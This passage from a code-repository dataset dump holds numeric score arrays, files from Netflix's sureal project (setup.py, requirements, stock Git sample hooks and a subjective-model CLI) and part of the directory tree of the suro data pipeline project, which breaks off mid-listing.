2.513276306112168,
3.1057935340269016,
3.784452043232023,
4.596190803871333,
4.4325006294233225,
4.702901949164521,
4.852045537421959,
4.810087341543898,
2.088695960203859,
1.9787713572106629,
2.7496236183936635,
2.833204349906871,
3.5681144420530155,
4.429721731556623,
4.822793431087249,
4.8303843310842645,
1.04091984876879,
1.9970899919011258,
2.7734227738111343,
3.3183819513311863,
3.9347587023342077,
4.242187311645888,
4.49740929914329,
1.2635473834736526,
1.5900476242405128,
2.9724889655216953,
3.492809021737071,
4.059125944940315,
4.588025485325866,
4.636201408848214,
1.2890844032661206,
2.6712000847327353,
3.020277226158836,
3.2648299543523494,
3.7938021654164995,
4.042087466392219,
4.411247225251621,
4.628345208225204,
4.806108448432282,
1.9938385990632927,
3.1404150105565156,
3.1921824344074436,
4.020583124623866,
4.542302159497385,
4.8929063191445685,
1.1644984766495146,
1.8890716368164624,
2.36698078814891,
3.0217687883285342,
4.239488799057642,
4.318825256938681,
4.801448608231719,
1.1005799618988774,
2.059175789891962,
2.7591926298055687,
3.1981643272858005,
3.7087416566164877,
3.7295998553878307,
4.242135788988518,
4.5804082952405425,
4.275810737521386,
4.515180432227811,
1.628157804388849,
2.627370733305435,
3.253465182385141,
3.295944878183191,
4.257000295518623,
4.5726059728251345],
'sos_j': [0.1548785178603921,
0.19724755984636633,
0.1232903501245844,
0.17592364253366718,
0.13162984275912668,
0.16016423078138683,
0.2223137463194553,
0.15892854914638418,
0.21424647134935995,
0.100043635773705,
0.20470723540647448,
0.18473086917822992,
0.1662764481639421,
0.13601988435292345,
0.17090920628064682,
0.22140371431052713,
0.13419869150816685,
0.17834262009446772,
0.1244058635463522,
0.24135439270237638,
0.1712430902855189,
0.17684888145818933,
0.1747244054494254,
0.17608626205951677,
0.11315952409415461,
0.16822418474077017,
0.15737032449410984,
0.2060655739375378,
0.14600492469683077,
0.18386738303488004,
0.1493580000833411,
0.14574819820234347,
0.13481094422984866,
0.17308955714216245,
0.26119437001872636,
0.21031344351187517,
0.16030948908545375,
0.11586183240026646,
0.17188452860231174,
0.12045035432421503,
0.1351830105554139,
0.24558625566327139,
0.16936483765724794,
0.1820233151669156,
0.19774736651544333,
0.1749744902683617,
0.20027953069206503,
0.1948219746741293,
0.2220465709048475,
0.13369573453778733,
0.19683002758510273,
0.17639144799998804,
0.12590711374231217,
0.1347961165521637,
0.20378511852259526,
0.14682747783337122,
0.24513901003239655,
0.2522180924756634,
0.15020604681523178,
0.1957263307052347,
0.1747309052153983,
0.140618248844134,
0.2181635528853917,
0.26676736017809216,
0.19303579603324836,
0.17546152350380853,
0.17931092106350288,
0.18106372481050217,
0.1426703554199489,
0.1405856161021008,
0.13355095698955205,
0.17759235500868664,
0.1721674122611157,
0.17652025280304734,
0.1830916425398547,
0.14145338178472636,
0.16206111947068486,
0.18550999216607605,
0.16654764193759772]}
```
| {"requirements.txt": "numpy>=1.12.0\nscipy>=0.17.1\nmatplotlib>=2.0.0\npandas>=0.19.2\nsetupmeta\n", "setup.py": "#!/usr/bin/env python\n\n# this script allows us to publish sureal in PyPi and the use it using 'pip install sureal'\n# run 'python setup.py sdist bdist_wheel' to create the distribution files within sureal/python/src/\n\nfrom setuptools import setup\n\n\nsetup(\n name=\"sureal\",\n setup_requires=[\"setupmeta\"],\n versioning=\"dev\",\n author=\"Zhi Li\",\n author_email=\"[email protected]\",\n include_package_data=True,\n url=\"https://github.com/Netflix/sureal\",\n classifiers=[\n \"Programming Language :: Python :: 2\",\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: MacOS\",\n 'Operating System :: Unix',\n ],\n entry_points={\n 'console_scripts': [\n 'sureal = sureal.__main__:main'\n ]\n },\n)\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "itur_bt500_demo\\requirements.txt": "numpy>=1.20.2\nscipy>=1.6.2\n\n", "itut_p910_demo\\requirements.txt": "numpy>=1.20.2\nscipy>=1.6.2\n\n", "itut_p913_demo\\requirements.txt": "numpy>=1.20.2\nscipy>=1.6.2\n\n", "sureal\\__main__.py": "#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport os\n\nfrom sureal.config import DisplayConfig\nfrom sureal.dataset_reader import RawDatasetReader, PairedCompDatasetReader\nfrom sureal.pc_subjective_model import PairedCompSubjectiveModel\nfrom sureal.routine import run_subjective_models, \\\n format_output_of_run_subjective_models\nfrom sureal.subjective_model import SubjectiveModel\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--dataset\", dest=\"dataset\", nargs=1, type=str,\n help=\"Path to the dataset file.\",\n required=True)\n parser.add_argument(\n \"--models\", dest=\"models\", nargs=\"+\", type=str,\n help=\"Subjective models to use (can specify more than one), choosing \"\n \"from: MOS, P910, P913, BT500.\",\n required=True)\n parser.add_argument(\n \"--output-dir\", dest=\"output_dir\", nargs=1, type=str,\n help=\"Path to the output directory (will force create is not existed). \"\n \"If not specified, plots will be displayed and output will be printed.\",\n required=False)\n parser.add_argument(\n \"--plot-raw-data\", dest=\"plot_raw_data\", action='store_true',\n help=\"Plot the raw data. This includes the raw opinion scores presented \"\n \"in a video-subject matrix, counts per video and counts per subject.\",\n required=False)\n parser.add_argument(\n \"--plot-dis-videos\", dest=\"plot_dis_videos\", action='store_true',\n help=\"Plot the subjective scores of the distorted videos.\",\n required=False)\n parser.add_argument(\n \"--plot-observers\", dest=\"plot_observers\", action='store_true',\n help=\"Plot the scores of the observers.\",\n required=False)\n args = parser.parse_args()\n dataset = args.dataset[0]\n models = args.models\n output_dir = args.output_dir[0] if args.output_dir else None\n plot_raw_data = args.plot_raw_data\n plot_dis_videos = args.plot_dis_videos\n plot_observers = args.plot_observers\n\n ModelClasses = list()\n for model in models:\n ModelClass = SubjectiveModel.find_subclass(model)\n ModelClasses.append(ModelClass)\n\n def is_subj_model_class(ModelClass):\n superclasses = ModelClass.__mro__\n return SubjectiveModel in superclasses and PairedCompSubjectiveModel not in superclasses\n\n def is_pc_subj_model_class(ModelClass):\n return PairedCompSubjectiveModel in ModelClass.__mro__\n\n # ModelClass should be either SubjectiveModel or PairedCompSubjectiveModel\n is_all_subjective_model = all([is_subj_model_class(ModelClass) for ModelClass in ModelClasses])\n is_all_pc_subjective_model = all([is_pc_subj_model_class(ModelClass) for ModelClass in ModelClasses])\n assert (is_all_subjective_model and not is_all_pc_subjective_model) or \\\n (not is_all_subjective_model and is_all_pc_subjective_model), \\\n f'is_all_subjective_model: {is_all_subjective_model}, ' \\\n f'is_all_pc_subjective_model: {is_all_pc_subjective_model}'\n if is_all_subjective_model:\n DatasetReaderClass = RawDatasetReader\n else:\n DatasetReaderClass = PairedCompDatasetReader\n\n do_plot = []\n if plot_raw_data:\n do_plot.append('raw_scores')\n if is_all_subjective_model:\n do_plot.append('raw_counts')\n do_plot.append('raw_counts_per_subject')\n if plot_dis_videos:\n do_plot.append('quality_scores')\n if plot_observers:\n do_plot.append('subject_scores')\n\n dataset, subjective_models, results = run_subjective_models(\n dataset_filepath=dataset,\n subjective_model_classes=ModelClasses,\n do_plot=do_plot,\n dataset_reader_class=DatasetReaderClass,\n )\n\n output = format_output_of_run_subjective_models(\n dataset, subjective_models, results)\n\n if output_dir is None:\n json_output = json.dumps(output, indent=4)\n print(json_output)\n DisplayConfig.show()\n else:\n os.makedirs(output_dir, exist_ok=True)\n with open(os.path.join(output_dir, 'output.json'), 'w') as fp:\n json.dump(output, fp, indent=4)\n DisplayConfig.show(write_to_dir=output_dir)\n print(f'output is written to directory {output_dir}.')\n\n return 0\n\n\nif __name__ == '__main__':\n ret = main()\n exit(ret)\n", "test\\requirements.txt": "mock\npytest-cov\n"} | null |
suro | {"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "antlr", "children": [{"type": "file", "name": "MessageFilter.g"}]}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}, {"type": "directory", "name": "suro-client", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "async", "children": [{"type": "file", "name": "AsyncSuroClient.java"}, {"type": "file", "name": "AsyncSuroSender.java"}, {"type": "file", "name": "Queue4Client.java"}, {"type": "file", "name": "RateLimiter.java"}]}, {"type": "file", "name": "ConfigBasedLoadBalancerProvider.java"}, {"type": "file", "name": "ConfigBasedSuroClientProvider.java"}, {"type": "directory", "name": "example", "children": [{"type": "file", "name": "ExampleClient.java"}, {"type": "file", "name": "SuroClient4Test.java"}]}, {"type": "file", "name": "ISuroClient.java"}, {"type": "file", "name": "SuroClient.java"}, {"type": "file", "name": "SuroClientModule.java"}, {"type": "file", "name": "SyncSuroClient.java"}]}, {"type": "file", "name": "ClientConfig.java"}, {"type": "directory", "name": "connection", "children": [{"type": "file", "name": "ConnectionPool.java"}, {"type": "file", "name": "EurekaLoadBalancer.java"}, {"type": "file", "name": "StaticLoadBalancer.java"}, {"type": "file", "name": "SuroPing.java"}]}, {"type": "directory", "name": "input", "children": [{"type": "file", "name": "JsonLog4jFormatter.java"}, {"type": "file", "name": "Log4jAppender.java"}, {"type": "file", "name": "Log4jFormatter.java"}, {"type": "file", "name": "StaticLog4jFormatter.java"}, {"type": "file", "name": "StringLog4jFormatter.java"}]}, {"type": "directory", "name": "message", "children": [{"type": "file", "name": "Compression.java"}, {"type": "file", "name": "MessageSetBuilder.java"}, {"type": "file", "name": "MessageSetReader.java"}, {"type": "directory", "name": "serde", "children": [{"type": "file", "name": "JsonSerDe.java"}, {"type": "file", "name": "SerDeFactory.java"}]}]}, {"type": "directory", "name": "sink", "children": [{"type": "file", "name": "SuroSink.java"}]}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "Result.java"}, {"type": "file", "name": "ResultCode.java"}, {"type": "file", "name": "ServiceStatus.java"}, {"type": "file", "name": "SuroServer.java"}, {"type": "file", "name": "SuroService.java"}, {"type": "file", "name": "TMessageSet.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "suro.idl"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "async", "children": [{"type": "file", "name": "TestAsyncSuroClient.java"}, {"type": "file", "name": "TestAsyncSuroClientWithNonExistentFilePath.java"}, {"type": "file", "name": "TestAsyncSuroSender.java"}]}, {"type": "file", "name": "Test.java"}, {"type": "file", "name": "TestSyncSuroClient.java"}]}, {"type": "directory", "name": "connection", "children": [{"type": "file", "name": "TestConnectionOutPool.java"}, {"type": "file", "name": "TestConnectionPool.java"}, {"type": "file", "name": "TestSuroPing.java"}]}, {"type": "directory", "name": "input", "children": [{"type": "file", "name": "TestLog4jAppender.java"}, {"type": "file", "name": "TestLog4JAppenderWithLog4JConfig.java"}, {"type": "file", "name": "TestLog4jFormatter.java"}]}, {"type": "directory", "name": "jackson", "children": [{"type": "file", "name": "TestJackson.java"}]}, {"type": "directory", "name": "message", "children": [{"type": "file", "name": "TestCompression.java"}, {"type": "file", "name": "TestJsonSerDe.java"}, {"type": "file", "name": "TestMessageSerDe.java"}, {"type": "file", "name": "TestMessageSet.java"}, {"type": "file", "name": "TestStringSerDe.java"}]}, {"type": "directory", "name": "sink", "children": [{"type": "file", "name": "TestClientSuroSink.java"}]}, {"type": "file", "name": "SuroServer4Test.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "input", "children": [{"type": "file", "name": "RecordParser.java"}, {"type": "file", "name": "SuroInput.java"}]}, {"type": "directory", "name": "jackson", "children": [{"type": "file", "name": "DefaultObjectMapper.java"}]}, {"type": "directory", "name": "message", "children": [{"type": "file", "name": "ByteArrayDataOutputStream.java"}, {"type": "file", "name": "DefaultMessageContainer.java"}, {"type": "file", "name": "Message.java"}, {"type": "file", "name": "MessageContainer.java"}, {"type": "file", "name": "MessageSerDe.java"}, {"type": "file", "name": "SerDe.java"}, {"type": "file", "name": "StringMessage.java"}, {"type": "file", "name": "StringSerDe.java"}]}, {"type": "directory", "name": "queue", "children": [{"type": "file", "name": "FileBlockingQueue.java"}, {"type": "file", "name": "FileQueue4Sink.java"}, {"type": "file", "name": "MemoryQueue4Sink.java"}, {"type": "file", "name": "MessageQueue4Sink.java"}]}, {"type": "directory", "name": "routing", "children": [{"type": "file", "name": "DynamicPropertyRoutingMapConfigurator.java"}, {"type": "directory", "name": "filter", "children": [{"type": "file", "name": "AlwaysFalseMessageFilter.java"}, {"type": "file", "name": "AlwaysTrueMessageFilter.java"}, {"type": "file", "name": "AndMessageFilter.java"}, {"type": "file", "name": "BaseMessageFilter.java"}, {"type": "file", "name": "BooleanValuePredicate.java"}, {"type": "directory", "name": "lang", "children": [{"type": "file", "name": "AndTreeNode.java"}, {"type": "file", "name": "BetweenTimeMillisTreeNode.java"}, {"type": "file", "name": "BetweenTimeStringTreeNode.java"}, {"type": "file", "name": "BetweenTreeNode.java"}, {"type": "file", "name": "ComparableTreeNode.java"}, {"type": "file", "name": "EqualityComparisonBaseTreeNode.java"}, {"type": "file", "name": "EqualsTreeNode.java"}, {"type": "file", "name": "EventFilter.tokens"}, {"type": "file", "name": "ExistsTreeNode.java"}, {"type": "file", "name": "FalseValueTreeNode.java"}, {"type": "file", "name": "FilterLanguageSupport.java"}, {"type": "file", "name": "InvalidFilterException.java"}, {"type": "file", "name": "MatchesTreeNode.java"}, {"type": "file", "name": "MessageFilterBaseTreeNode.java"}, {"type": "file", "name": "MessageFilterLexer.java"}, {"type": "file", "name": "MessageFilterParser.java"}, {"type": "file", "name": "MessageFilterParsingException.java"}, {"type": "file", "name": "MessageFilterTranslatable.java"}, {"type": "file", "name": "NotEqualsTreeNode.java"}, {"type": "file", "name": "NotTreeNode.java"}, {"type": "file", "name": "NullTreeNode.java"}, {"type": "file", "name": "NullValueTreeNode.java"}, {"type": "file", "name": "NumberTreeNode.java"}, {"type": "file", "name": "NumericInTreeNode.java"}, {"type": "file", "name": "OrTreeNode.java"}, {"type": "file", "name": "StringInTreeNode.java"}, {"type": "file", "name": "StringTreeNode.java"}, {"type": "file", "name": "TimeMillisValueTreeNode.java"}, {"type": "file", "name": "TimeStringValueTreeNode.java"}, {"type": "file", "name": "TreeNodeUtil.java"}, {"type": "file", "name": "TrueValueTreeNode.java"}, {"type": "file", "name": "UnexpectedTokenException.java"}, {"type": "file", "name": "ValueTreeNode.java"}, {"type": "file", "name": "XPathTreeNode.java"}]}, {"type": "file", "name": "MessageFilter.java"}, {"type": "file", "name": "MessageFilterCompiler.java"}, {"type": "file", "name": "MessageFilters.java"}, {"type": "file", "name": "NotMessageFilter.java"}, {"type": "file", "name": "NullValuePredicate.java"}, {"type": "file", "name": "NumericValuePredicate.java"}, {"type": "file", "name": "OrMessageFilter.java"}, {"type": "file", "name": "PathExistsMessageFilter.java"}, {"type": "file", "name": "PathValueMessageFilter.java"}, {"type": "file", "name": "PathValuePredicate.java"}, {"type": "file", "name": "RegexValuePredicate.java"}, {"type": "file", "name": "SerializableMessageFilter.java"}, {"type": "file", "name": "StringValuePredicate.java"}, {"type": "file", "name": "TimeMillisValuePredicate.java"}, {"type": "file", "name": "TimeRangeValuePredicate.java"}, {"type": "file", "name": "TimeStringValuePredicate.java"}, {"type": "file", "name": "TimeUtil.java"}, {"type": "file", "name": "ValuePredicate.java"}]}, {"type": "file", "name": "Filter.java"}, {"type": "file", "name": "JsonMapConverter.java"}, {"type": "file", "name": "MessageConverter.java"}, {"type": "file", "name": "MessageRouter.java"}, {"type": "file", "name": "RegexFilter.java"}, {"type": "file", "name": "RoutingKeyFilter.java"}, {"type": "file", "name": "RoutingMap.java"}, {"type": "file", "name": "RoutingPlugin.java"}, {"type": "file", "name": "XPathFilter.java"}]}, {"type": "directory", "name": "servo", "children": [{"type": "file", "name": "Meter.java"}, {"type": "file", "name": "Servo.java"}]}, {"type": "directory", "name": "sink", "children": [{"type": "file", "name": "DataConverter.java"}, {"type": "file", "name": "DynamicPropertySinkConfigurator.java"}, {"type": "directory", "name": "notice", "children": [{"type": "file", "name": "NoNotice.java"}, {"type": "file", "name": "Notice.java"}, {"type": "file", "name": "QueueNotice.java"}]}, {"type": "file", "name": "QueuedSink.java"}, {"type": "directory", "name": "remotefile", "children": [{"type": "file", "name": "RemotePrefixFormatter.java"}]}, {"type": "file", "name": "Sink.java"}, {"type": "file", "name": "SinkManager.java"}, {"type": "file", "name": "ThreadPoolQueuedSink.java"}]}, {"type": "file", "name": "SuroPlugin.java"}, {"type": "file", "name": "TagKey.java"}, {"type": "file", "name": "TypeHolder.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "queue", "children": [{"type": "file", "name": "FileQueueLoadTest.java"}, {"type": "file", "name": "TestFileBlockingQueue.java"}]}, {"type": "directory", "name": "routing", "children": [{"type": "directory", "name": "filter", "children": [{"type": "file", "name": "AlwaysFalseMessageFilterTest.java"}, {"type": "file", "name": "AlwaysTrueMessageFilterTest.java"}, {"type": "file", "name": "AndMessageFilterTest.java"}, {"type": "file", "name": "ExistsMessageFilterTest.java"}, {"type": "file", "name": "MessageFiltersTest.java"}, {"type": "file", "name": "MockRequestTrace.java"}, {"type": "file", "name": "NotMessageFilterTest.java"}, {"type": "file", "name": "NullValuePredicateTest.java"}, {"type": "file", "name": "NumericValuePredicateTest.java"}, {"type": "file", "name": "OrMessageFilterTest.java"}, {"type": "directory", "name": "parser", "children": [{"type": "file", "name": "CompositeMessageFilterParsingTest.java"}, {"type": "file", "name": "FilterPredicate.java"}, {"type": "file", "name": "SimpleMessageFilterParsingTest.java"}]}, {"type": "file", "name": "PathValueMessageFilterTest.java"}, {"type": "file", "name": "RegexValuePredicateTest.java"}, {"type": "file", "name": "StringValuePredicateTest.java"}, {"type": "file", "name": "TimeMillisValuePredicateTest.java"}, {"type": "file", "name": "TimeRangeValuePredicateTest.java"}, {"type": "file", "name": "TimeStringValuePredicateTest.java"}, {"type": "file", "name": "VerificationUtil.java"}]}, {"type": "file", "name": "FilterTestUtil.java"}, {"type": "file", "name": "RoutingKeyFilterTest.java"}, {"type": "file", "name": "XpathFilterTest.java"}]}, {"type": "directory", "name": "sink", "children": [{"type": "file", "name": "TestQueuedSink.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-elasticsearch", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "elasticsearch", "children": [{"type": "file", "name": "DefaultIndexInfoBuilder.java"}, {"type": "file", "name": "ElasticSearchSink.java"}, {"type": "file", "name": "IndexInfo.java"}, {"type": "file", "name": "IndexInfoBuilder.java"}, {"type": "file", "name": "IndexSuffixFormatter.java"}, {"type": "file", "name": "TimestampField.java"}, {"type": "file", "name": "TimestampSlice.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "elasticsearch", "children": [{"type": "file", "name": "test.json"}, {"type": "file", "name": "TestDefaultIndexInfoBuilder.java"}, {"type": "file", "name": "TestElasticSearchSink.java"}, {"type": "file", "name": "TestIndexSuffixFormatter.java"}, {"type": "file", "name": "TestTimestampField.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-integration-test", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "file", "name": "TestPauseOnInsufficientDiskSpaceThriftServer.java"}, {"type": "file", "name": "TestPauseOnLongQueueKafkaConsumer.java"}, {"type": "file", "name": "TestSuroClient.java"}, {"type": "file", "name": "TestSuroServer.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-kafka-consumer", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "input", "children": [{"type": "directory", "name": "kafka", "children": [{"type": "file", "name": "KafkaConsumer.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "input", "children": [{"type": "directory", "name": "kafka", "children": [{"type": "file", "name": "TestKafkaConsumer.java"}]}]}, {"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "kafka", "children": [{"type": "file", "name": "KafkaServerExternalResource.java"}, {"type": "file", "name": "ZkExternalResource.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-kafka-producer", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "kafka", "children": [{"type": "file", "name": "KafkaRetentionPartitioner.java"}, {"type": "file", "name": "KafkaSink.java"}, {"type": "file", "name": "KafkaSinkV2.java"}, {"type": "file", "name": "ServoReporter.java"}, {"type": "file", "name": "SuroKeyedMessage.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "kafka", "children": [{"type": "file", "name": "TestKafkaSink.java"}, {"type": "file", "name": "TestKafkaSinkV2.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-localfile", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "localfile", "children": [{"type": "file", "name": "FileNameFormatter.java"}, {"type": "file", "name": "FileWriter.java"}, {"type": "file", "name": "FileWriterBase.java"}, {"type": "file", "name": "LocalFileSink.java"}, {"type": "file", "name": "MessageWritable.java"}, {"type": "file", "name": "SequenceFileViewer.java"}, {"type": "file", "name": "SequenceFileWriter.java"}, {"type": "file", "name": "TextFileWriter.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "localfile", "children": [{"type": "file", "name": "SuroSinkPlugin.java"}, {"type": "file", "name": "TestFileNameFormatter.java"}, {"type": "file", "name": "TestLocalFileSink.java"}, {"type": "file", "name": "TestSequenceFileWriter.java"}, {"type": "file", "name": "TestTextFileWriter.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-s3", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "PropertyAWSCredentialsProvider.java"}]}, {"type": "directory", "name": "input", "children": [{"type": "directory", "name": "remotefile", "children": [{"type": "file", "name": "CloudTrail.java"}, {"type": "file", "name": "JsonLine.java"}, {"type": "file", "name": "S3Consumer.java"}]}]}, {"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "remotefile", "children": [{"type": "file", "name": "AWSSessionCredentialsAdapter.java"}, {"type": "directory", "name": "formatter", "children": [{"type": "file", "name": "DatePrefixFormatter.java"}, {"type": "file", "name": "DateRegionStackFormatter.java"}, {"type": "file", "name": "DynamicRemotePrefixFormatter.java"}, {"type": "file", "name": "PrefixFormatter.java"}, {"type": "file", "name": "PropertyPrefixFormatter.java"}, {"type": "file", "name": "StaticPrefixFormatter.java"}]}, {"type": "file", "name": "GrantAcl.java"}, {"type": "file", "name": "HdfsFileSink.java"}, {"type": "file", "name": "RemoteFileSink.java"}, {"type": "file", "name": "S3FileSink.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "input", "children": [{"type": "directory", "name": "remotefile", "children": [{"type": "file", "name": "TestJsonLine.java"}, {"type": "file", "name": "TestS3Consumer.java"}]}]}, {"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "remotefile", "children": [{"type": "file", "name": "SuroSinkPlugin.java"}, {"type": "file", "name": "TestGrantAcl.java"}, {"type": "file", "name": "TestPrefixFormatter.java"}, {"type": "file", "name": "TestS3FileSink.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "suro-server", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "conf", "children": [{"type": "file", "name": "extensions.json"}, {"type": "file", "name": "input.json"}, {"type": "file", "name": "log4j.properties"}, {"type": "file", "name": "routingmap.json"}, {"type": "file", "name": "sink.json"}, {"type": "file", "name": "sink_using_kafkaV2.json"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "PropertyAWSCredentialsProvider.java"}]}, {"type": "directory", "name": "input", "children": [{"type": "file", "name": "DynamicPropertyInputConfigurator.java"}, {"type": "file", "name": "InputManager.java"}, {"type": "file", "name": "SuroInputPlugin.java"}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "CustomServerSocket.java"}, {"type": "file", "name": "MessageSetProcessor.java"}, {"type": "file", "name": "MessageSetSerDe.java"}, {"type": "file", "name": "ServerConfig.java"}, {"type": "file", "name": "ThriftServer.java"}]}]}, {"type": "directory", "name": "queue", "children": [{"type": "file", "name": "Queue4Server.java"}]}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "HealthCheck.java"}, {"type": "file", "name": "SinkStat.java"}, {"type": "file", "name": "StatusServer.java"}]}, {"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "notice", "children": [{"type": "file", "name": "LogNotice.java"}, {"type": "file", "name": "SQSNotice.java"}]}, {"type": "file", "name": "ServerSinkPlugin.java"}]}, {"type": "file", "name": "SuroControl.java"}, {"type": "file", "name": "SuroDynamicPropertyModule.java"}, {"type": "file", "name": "SuroModule.java"}, {"type": "file", "name": "SuroServer.java"}, {"type": "file", "name": "SuroService.java"}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "Closeables.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": 